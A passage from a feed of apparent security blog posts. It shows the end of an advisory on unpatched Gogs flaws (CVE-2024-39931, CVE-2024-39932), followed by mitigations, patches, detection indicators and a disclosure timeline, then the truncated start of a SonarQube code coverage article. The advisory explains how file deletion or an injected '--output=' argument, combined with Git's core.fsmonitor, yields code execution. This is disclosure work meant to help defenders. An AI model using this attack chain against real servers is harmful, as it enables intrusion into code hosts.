page:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/b5c1afb5-c88a-48ea-ae0a-d26c609581f7/gogs-file-deletion.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When confirming the deletion, the frontend calls the API handler at &lt;code&gt;/user/repository/_delete/&amp;lt;filepath&amp;gt;&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/gogs/gogs/blob/5bdf91e73c7733d92e80f6ea9e3fbba60490c9cf/internal/cmd/web.go#L554-L555&quot;&gt;internal/cmd/web.go&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;m.Group(&quot;&quot;, func() {
  // [...]  
  m.Combo(&quot;/_delete/*&quot;).Get(repo.DeleteFile).
      Post(bindIgnErr(form.DeleteRepoFile{}), repo.DeleteFilePost)
  // [...]
})&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This handler is just a wrapper around &lt;code&gt;Repository.DeleteRepoFile&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/gogs/gogs/blob/5bdf91e73c7733d92e80f6ea9e3fbba60490c9cf/internal/route/repo/editor.go#L332-L391&quot;&gt;internal/route/repo/editor.go&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;func DeleteFilePost(c *context.Context, f form.DeleteRepoFile) {
	// [...]
	c.Repo.TreePath = pathutil.Clean(c.Repo.TreePath)
	c.Data[&quot;TreePath&quot;] = c.Repo.TreePath
	// [...]
	if err := c.Repo.Repository.DeleteRepoFile(c.User, db.DeleteRepoFileOptions{
		LastCommitID: c.Repo.CommitID,
		OldBranch:    oldBranchName,
		NewBranch:    branchName,
		TreePath:     c.Repo.TreePath,
		Message:      message,
	}); 
  // [...]
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To effectively remove a file from a project, a temporary repository with a work tree is created from the project&amp;#x27;s bare repository. The file is removed, tracked in a commit, and pushed to the original bare repository:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/gogs/gogs/blob/5bdf91e73c7733d92e80f6ea9e3fbba60490c9cf/internal/database/repo_editor.go#L285-L341&quot;&gt;internal/database/repo_editor.go&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;func (repo *Repository) DeleteRepoFile(doer *User, opts DeleteRepoFileOptions) (err error) {
	// [...]
	localPath := repo.LocalCopyPath()
	if err = os.Remove(path.Join(localPath, opts.TreePath)); err != nil {
		return fmt.Errorf(&quot;remove file %q: %v&quot;, opts.TreePath, err)
	}
	// [...]
	err = git.CreateCommit(
		localPath,
		&amp;git.Signature{
			Name:  doer.DisplayName(),
			Email: doer.Email,
			When:  time.Now(),
		},
		opts.Message,
	)
	// [...]
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As we can see, &lt;code&gt;opts.TreePath&lt;/code&gt; is not validated and can point to any location inside the repository. To understand how this file deletion can lead to arbitrary code execution, we must understand how Gogs and many other source code hosting solutions store Git data on the server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Usually, when using Git, you have a folder structure like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;repo/
├── .git/
│   ├── HEAD
│   ├── config
│   └── …
├── go.mod
├── main.go
└── …&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;.git&lt;/code&gt; folder contains all the Git-related metadata. The rest of the files (outside the &lt;code&gt;.git&lt;/code&gt; folder) are the actual contents of the repo, also called the &amp;quot;working tree&amp;quot;. This representation is helpful for working on files directly, but it has some storage overhead: the &lt;code&gt;.git&lt;/code&gt; folder contains all the data that exists in the working tree!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But there&amp;#x27;s a different representation: the &amp;quot;bare repo&amp;quot;. It is just the content from within the &lt;code&gt;.git&lt;/code&gt; folder but without the working tree:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;repo/
├── HEAD
├── config
└── …&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is what Gogs and many others use to store a repo on the server, as it saves disk space and is usually enough for the Git operations the server needs to perform. However, to delete a file from a repo, Gogs creates a local checkout of the bare repo with the standard, non-bare structure. But how does Git know if a repo is bare or not?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The answer is quite simple: Git will look for a &lt;code&gt;.git&lt;/code&gt; directory in the current working directory. If it finds one, it will examine its files to see if it contains valid repository metadata. If it doesn&amp;#x27;t find a &lt;code&gt;.git&lt;/code&gt; directory, it checks if the current working directory is a bare repo by examining the included files. If the current working directory is not a bare repo, it starts over in the parent directory of the current working directory, and so on. The following flow chart visualizes this simplified decision process:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6f6ca7b2-37f6-4044-9a4e-881d3ce4b88f/Git%20repo%20detection%20flow.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One of the metadata files that Git checks is &lt;code&gt;HEAD&lt;/code&gt;. This file should contain the name of a valid reference that is the repo&amp;#x27;s current head. If there is no such file, or if it does not contain a valid reference, then Git assumes the directory to be invalid and moves on.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So what happens when an attacker uses the arbitrary file delete to remove &lt;code&gt;.git/HEAD&lt;/code&gt; from the local checkout of a repo? The next time a git command is executed in that repo, the &lt;code&gt;.git&lt;/code&gt; folder is no longer considered valid. So, as the next step, Git will check if the root directory of the repo is a valid bare repo.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since users can fully control the folders and files within a repo, the attacker could prepare it to contain all metadata files that make Git think it&amp;#x27;s a bare repo. By achieving this, they can now control all the git configurations via the &lt;code&gt;config&lt;/code&gt; file in the repo. They can for example use the &lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/#root-cause-git-local-configuration&quot;&gt;well-known &lt;code&gt;core.fsmonitor&lt;/code&gt; setting&lt;/a&gt; to specify a command executed for almost all the Git subcommands.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With this, attackers can execute arbitrary commands using just the file deletion primitive that CVE-2024-39931 gives them. However, this not only works with file deletions but also with &lt;a href=&quot;https://www.sonarsource.com/blog/empowering-weak-primitives-file-truncation-to-code-execution-with-git/&quot;&gt;file &lt;em&gt;truncations&lt;/em&gt;&lt;/a&gt;. Let&amp;#x27;s look at how attackers could also achieve code execution with CVE-2024-39932, an Argument Injection vulnerability in Gogs&amp;#x27; preview functionality.&lt;/p&gt;&lt;h3&gt;Argument Injection During Changes Preview (CVE-2024-39932)&lt;/h3&gt;&lt;p&gt;When changing a file from the web UI, Gogs allows the user to see a preview of the changes. This is implemented in the &lt;code&gt;/_preview/*&lt;/code&gt; API handler:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/gogs/gogs/blob/5bdf91e73c7733d92e80f6ea9e3fbba60490c9cf/internal/cmd/web.go#L553&quot;&gt;internal/cmd/web.go&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;m.Group(&quot;&quot;, func() {
    // [...]
    m.Post(&quot;/_preview/*&quot;, bindIgnErr(form.EditPreviewDiff{}), repo.DiffPreviewPost)
    // [...]
    c.Data[&quot;PageIsViewFiles&quot;] = true
  })
}, reqSignIn, context.RepoAssignment())&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;First, &lt;code&gt;DiffPreviewPost&lt;/code&gt; gets a reference to the modified file in the Git repository and calls &lt;code&gt;Repository.GetDiffPreview&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/gogs/gogs/blob/5bdf91e73c7733d92e80f6ea9e3fbba60490c9cf/internal/route/repo/editor.go#L294-L319&quot;&gt;internal/route/repo/editor.go&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;func DiffPreviewPost(c *context.Context, f form.EditPreviewDiff) {
	treePath := c.Repo.TreePath
	// [...]
	diff, err := c.Repo.Repository.GetDiffPreview(c.Repo.BranchName, treePath, f.Content)
	// [...]
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After cloning the current repository to a temporary folder and discarding any changes, the new changes are applied to the file pointed by &lt;code&gt;treePath&lt;/code&gt;. Then, &lt;code&gt;git diff&lt;/code&gt; is called with &lt;code&gt;treePath&lt;/code&gt; as an argument to compute the differences:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/gogs/gogs/blob/5bdf91e73c7733d92e80f6ea9e3fbba60490c9cf/internal/database/repo_editor.go#L222-L267&quot;&gt;internal/database/repo_editor.go&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;func (repo *Repository) GetDiffPreview(branch, treePath, content string) (diff *gitutil.Diff, err error) {
	// [...]
	localPath := repo.LocalCopyPath()
	// [...]
	cmd := exec.Command(&quot;git&quot;, &quot;diff&quot;, treePath)
	cmd.Dir = localPath
	cmd.Stderr = os.Stderr
	// [...]
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Because attackers can control the &lt;code&gt;treePath&lt;/code&gt; variable, the name of the file being modified, they can add extra arguments to the &lt;code&gt;git diff&lt;/code&gt; invocation. Since the goal is to truncate a file, attackers can use the &lt;code&gt;--output=some/file/path&lt;/code&gt; option.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By changing the positional argument to an option, the &lt;code&gt;git diff&lt;/code&gt; command is missing the positional argument, causing it to error. However, the &lt;code&gt;--output&lt;/code&gt; option is processed before bailing out, and the specified file is opened with the &lt;code&gt;O_TRUNC&lt;/code&gt; flag, which truncates it to an empty file.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By truncating the &lt;code&gt;.git/HEAD&lt;/code&gt; file of the repo, Git will consider the &lt;code&gt;.git&lt;/code&gt; folder to be broken and use the repo as a bare repo instead. The attacker can then take the same steps as above to turn the control over this bare repo into code execution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As we have seen, even vulnerabilities that seem less impactful, like arbitrary file deletions, can be turned into more impactful ones by abusing features and quirks of the tools used around them. This also shows once again that Git is not made to be used on untrusted inputs and that it takes a significant amount of work to secure its use in such scenarios.&lt;/p&gt;&lt;h2&gt;Recommendations: How to Protect Yourself&lt;/h2&gt;&lt;p&gt;Unfortunately, the maintainers of Gogs stopped responding to our disclosure at some point after initially accepting our report. Therefore, all four of our reported vulnerabilities are unpatched in the latest version of Gogs. To help users protect themselves, we have curated a list of mitigations and additional recommendations.&lt;/p&gt;&lt;h3&gt;Immediate Mitigations&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Disable the built-in SSH server:&lt;/strong&gt; To prevent the exploitation of the Argument Injection vulnerability discussed in our previous blog post (CVE-2024-39930), we recommend turning off the built-in SSH server in your &lt;code&gt;app.ini&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;[server]
START_SSH_SERVER = false&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Alternatively, you can disable SSH entirely if you don&amp;#x27;t need it (Git operations will still work via HTTP):&lt;/p&gt;&lt;pre&gt;&lt;code&gt;[server]
DISABLE_SSH = true&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Disable user registration:&lt;/strong&gt; While this will not prevent existing users from exploiting the vulnerabilities, it will protect you from the mass exploitation of malicious actors that scan the internet for vulnerable instances. To turn off the registration of new user accounts, set the following option in your &lt;code&gt;app.ini&lt;/code&gt;:&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;[auth]
DISABLE_REGISTRATION = true&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Patches&lt;/h3&gt;&lt;p&gt;Since the Gogs maintainers did not fix the vulnerabilities, we created patches that should fix them. However, we have not extensively tested whether these patches break functionality somewhere, so we are providing them without any guarantees.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://gist.githubusercontent.com/paul-gerste-sonarsource/207f5dc79f59bb256a0bfccda4e3e92b/raw/Gogs-security-fixes-by-Sonar.patch&quot;&gt;Gogs-security-fixes-by-Sonar.patch&lt;br/&gt;&lt;br/&gt;&lt;/a&gt;&lt;strong&gt;How to apply the patches:&lt;/strong&gt; To use a version of Gogs with the patches applied, you have to build it from the source. You can find their &lt;a href=&quot;https://gogs.io/docs/installation/install_from_source&quot;&gt;extensive documentation here&lt;/a&gt;. In the &amp;quot;Compile Gogs&amp;quot; step, you will have to apply our patches before running the build command like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# Clone the repository to the &quot;gogs&quot; subdirectory
git clone --depth 1 https://github.com/gogs/gogs.git gogs

# Change working directory
cd gogs

# Apply the patches
git apply Gogs-security-fixes-by-Sonar.patch

# Compile the main program, dependencies will be downloaded at this step
go build -o gogs&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Our patches are compatible with the latest version of Gogs available at the time of writing this blog post, which is at commit &lt;code&gt;5bdf91e73c7733d92e80f6ea9e3fbba60490c9cf&lt;/code&gt; (corresponding to version 0.13.0).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;How the patches work:&lt;/strong&gt; Our patches remove the SSH &lt;code&gt;env&lt;/code&gt; handler because, due to a functional bug, it had no effect anyway. For the two additional Argument Injections, we add end-of-options arguments to separate the user-controlled arguments from the options. For the file delete vulnerability, we add code that verifies the user-controlled path before removing a file.&lt;/p&gt;&lt;h3&gt;Further Recommendations&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Switch to Gitea:&lt;/strong&gt; We recommend switching from Gogs to Gitea, which started as a fork of Gogs. It is more actively maintained, and the vulnerabilities we found in Gogs were not present in Gitea when we checked.&lt;/p&gt;&lt;h3&gt;Detecting Attacks&lt;/h3&gt;&lt;p&gt;We don&amp;#x27;t have any data on whether or not malicious actors are exploiting these vulnerabilities in the wild. If you want to check if you have been attacked, we curated a list of indicators. These are non-exhaustive and provided on a best-effort basis.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;CVE-2024-39930 (Argument Injection in the built-in SSH server):&lt;/strong&gt; The exploitation of this vulnerability is more challenging to detect on the network level because the attacker payload is sent inside an encrypted SSH connection. On the OS level, you can check for invocations of the &lt;code&gt;env&lt;/code&gt; command with an argument that starts with either &lt;code&gt;--split-string&lt;/code&gt; or &lt;code&gt;-S&lt;/code&gt; (the short form option).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;CVE-2024-39932 (Argument Injection during changes preview):&lt;/strong&gt; On the network level, the exploitation of this vulnerability will involve an HTTP request whose path starts with &lt;code&gt;/&amp;lt;user&amp;gt;/&amp;lt;repo&amp;gt;/_preview/&amp;lt;branch&amp;gt;/--&lt;/code&gt; where &lt;code&gt;&amp;lt;user&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;repo&amp;gt;&lt;/code&gt;, and &lt;code&gt;&amp;lt;branch&amp;gt;&lt;/code&gt; depend on the repository used for the attack.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We did not find reliable ways to detect attacks for the remaining two vulnerabilities because attackers can easily obfuscate their exploit attempts through multiple indirections.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-04-20&lt;/td&gt;&lt;td&gt;We report all issues via email to the Gogs maintainers, including steps to reproduce, fix recommendations, and a 90-day disclosure deadline.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-04-28&lt;/td&gt;&lt;td&gt;We ping the maintainers again to see if our report was received.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-04-28&lt;/td&gt;&lt;td&gt;The Gogs maintainers confirm the acceptance of our report.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-05-16&lt;/td&gt;&lt;td&gt;We ask the Gogs maintainers for updates.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-05-18&lt;/td&gt;&lt;td&gt;The Gogs maintainers reply that there are no updates yet.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-08-15&lt;/td&gt;&lt;td&gt;We inform the Gogs maintainers that the 90-day disclosure deadline has expired.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-10-02&lt;/td&gt;&lt;td&gt;We ask the Gogs maintainers to open GitHub advisories so we can help contribute patches.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-12-04&lt;/td&gt;&lt;td&gt;We ask the Gogs maintainers for updates.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-12-05&lt;/td&gt;&lt;td&gt;The Gogs maintainers respond they will look into the report.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-02-14&lt;/td&gt;&lt;td&gt;We ask the Gogs maintainers for updates.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-06-03&lt;/td&gt;&lt;td&gt;We inform the Gogs maintainers of the upcoming blog posts.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-07-02&lt;/td&gt;&lt;td&gt;We release our first blog post.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-07-04&lt;/td&gt;&lt;td&gt;MITRE publishes CVE-2024-39930, CVE-2024-39931, CVE-2024-39932, and CVE-2024-39933.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-07-09&lt;/td&gt;&lt;td&gt;We release our second blog post.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;This concludes our two-part series on Gogs, in which we discussed four critical vulnerabilities we found in its code base. We reported these vulnerabilities to the maintainers of Gogs, but unfortunately, they never implemented fixes based on our recommendations. Therefore, the latest version of Gogs is still vulnerable.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We released details about the vulnerabilities to help affected users protect themselves, along with patches and recommendations on hardening vulnerable instances. If you are running a Gogs instance, we urge you to apply our patches and check if you have been exploited.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The code vulnerabilities we found show once again that Git is not designed for use on untrusted user inputs and that it takes significant work to make its use secure in such scenarios. We also observe that Argument Injections are still more common than their sibling, Command Injections.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;Part 1: &lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-unpatched-code-vulnerabilities-in-gogs-1/&quot;&gt;Securing Developer Tools: Unpatched Code Vulnerabilities in Gogs (1/2)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/empowering-weak-primitives-file-truncation-to-code-execution-with-git/&quot;&gt;Empowering weak primitives: file truncation to code execution with Git &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/dangerous-import-sourceforge-patches-critical-code-vulnerability/&quot;&gt;Dangerous Import: SourceForge Patches Critical Code Vulnerability&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/&quot;&gt;Excessive Expansion: Uncovering Critical Security Vulnerabilities in Jenkins&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/teamcity-vulnerability/&quot;&gt;Source Code at Risk: Critical Code Vulnerability in CI/CD Platform TeamCity&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Using and Understanding SonarQube for Code Coverage]]></title><description><![CDATA[One critical metric to gauge the effectiveness of your code testing efforts is code coverage. SonarQube, a powerful static code analysis solution, integrates seamlessly with code coverage tools, empowering developers to write cleaner, more secure, and thoroughly tested code.]]></description><link>https://www.sonarsource.com/blog/sonarqube-code-coverage</link><guid isPermaLink="false">2d41db8d-6372-592b-9ca9-daa9eef2aa52</guid><dc:creator><![CDATA[Manish Kapur]]></dc:creator><pubDate>Mon, 08 Jul 2024 13:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;Introduction&lt;/h3&gt;&lt;p&gt;Ensuring your code is thoroughly tested allows you to update it with confidence, as failing tests will quickly identify any functional issues. It also helps maintain the overall quality and reliability of your software. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One critical metric to gauge the effectiveness of your testing efforts is code coverage. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube, a powerful static code analysis solution, integrates seamlessly with code coverage tools, empowering developers to write cleaner, more secure, and thoroughly tested code. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube supports reporting, monitoring, and visualizing code coverage, helping teams maintain high code quality standards. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This article delves into how code coverage works in SonarQube, and also applies to &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;, covering its setup, analysis, and interpretation.&lt;/p&gt;&lt;h3&gt;What is Code Coverage?&lt;/h3&gt;&lt;p&gt;Code coverage, also called test coverage, measures the percentage of your codebase exercised by your automated tests. It highlights which parts of the codebase are covered by tests, which are not, and which parts have partial coverage, thereby providing insights into potential areas needing better test coverage. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Low code coverage indicates areas where bugs or vulnerabilities might lurk undetected, posing potential risks in production environments. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Typically, code coverage metrics include: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Overall Coverage: &lt;/strong&gt;The percentage of overall code executed by tests. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Line Coverage:&lt;/strong&gt; The percentage of lines of code executed by tests. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Branch Coverage:&lt;/strong&gt; The percentage of control flow branches (if statements, loops, etc.) executed by tests. &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Setting Up Code Coverage in SonarQube&lt;/h3&gt;&lt;p&gt;SonarQube doesn&amp;#x27;t directly calculate code coverage itself. Instead, it is a central hub that reads reports from popular code coverage tools and presents those results with the static code analysis results as pass/fail metrics on your code. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once you have set up a third-party tool to produce the report, simply configure the SonarScanner to tell where the reports are located so that it can pick them up and send them to SonarQube. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It supports importing coverage data in formats specific to various popular testing tools and languages. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For tools not directly supported, SonarQube offers a generic format. &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;SonarQube supports many programming languages, including Java, C/C++, JavaScript, Python, .NET, and PHP.  To enable coverage reporting, you must then do the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Run Coverage Tool:&lt;/strong&gt; Set up your coverage tool to run before the SonarScanner analysis as part of your build pipeline.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Match Report Format:&lt;/strong&gt; Configure your coverage tool&amp;#x27;s output format to match what the SonarScanner expects.  For instance, in a Maven-based Java project, you can use the JaCoCo plugin to produce coverage reports.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Set SonarScanner Parameters:&lt;/strong&gt; Configure the SonarScanner analysis &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/analyzing-source-code/test-coverage/test-coverage-parameters/&quot;&gt;parameters for test coverage&lt;/a&gt; with the coverage report locations to import the generated report files.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;During each build, your coverage tool collects coverage data and outputs results to one or more files (typically separate files for test coverage). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Then, the SonarScanner, as part of its analysis process, imports those files and sends the results to SonarQube.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube seamlessly imports coverage data from various tools and languages. It also supports a &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/analyzing-source-code/test-coverage/generic-test-data/&quot;&gt;generic format&lt;/a&gt; for custom conversion, ensuring compatibility with even unsupported tools.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Detailed guides for the following languages are available:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/analyzing-source-code/test-coverage/java-test-coverage/&quot;&gt;Java test coverage&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/analyzing-source-code/test-coverage/javascript-typescript-test-coverage/&quot;&gt;JavaScript/TypeScript test coverage&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/analyzing-source-code/test-coverage/dotnet-test-coverage/&quot;&gt;.NET test coverage&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/analyzing-source-code/test-coverage/python-test-coverage/&quot;&gt;Python test coverage&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/analyzing-source-code/test-coverage/php-test-coverage/&quot;&gt;PHP test coverage&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/analyzing-source-code/test-coverage/c-family-test-coverage/&quot;&gt;C/C++/Objective-C test coverage&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Analyzing Code Coverage in SonarQube:&lt;/h3&gt;&lt;p&gt;Once your setup is complete and SonarQube analysis runs, you can view the code coverage results in SonarQube. Key areas to explore include: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Project Overview:&lt;/strong&gt;  The dashboard provides a high-level view of overall code coverage, including line, branch, and method coverage percentages.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6a541fb7-86f0-4dd8-b774-a328d6004be2/sonarqube-code-coverage-overview.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Coverage Drill-Down:&lt;/strong&gt; You can drill down into specific modules, packages, and classes to see detailed coverage metrics. This helps identify untested code sections that might need additional tests. The coverage metrics are available for both the new and overall code. &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/65690ff1-ab63-47a1-b72a-3d855ff62f6e/sonarqube-code-coverage-drilldown.png.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can also see the coverage annotations in the file context that show whether the code is covered, partially covered, or not covered by unit tests.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/71374540-d3ab-485c-80e2-775a326a014c/sonarqube-covered-test-units.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Coverage Evolution:&lt;/strong&gt; SonarQube tracks coverage over time, allowing you to monitor 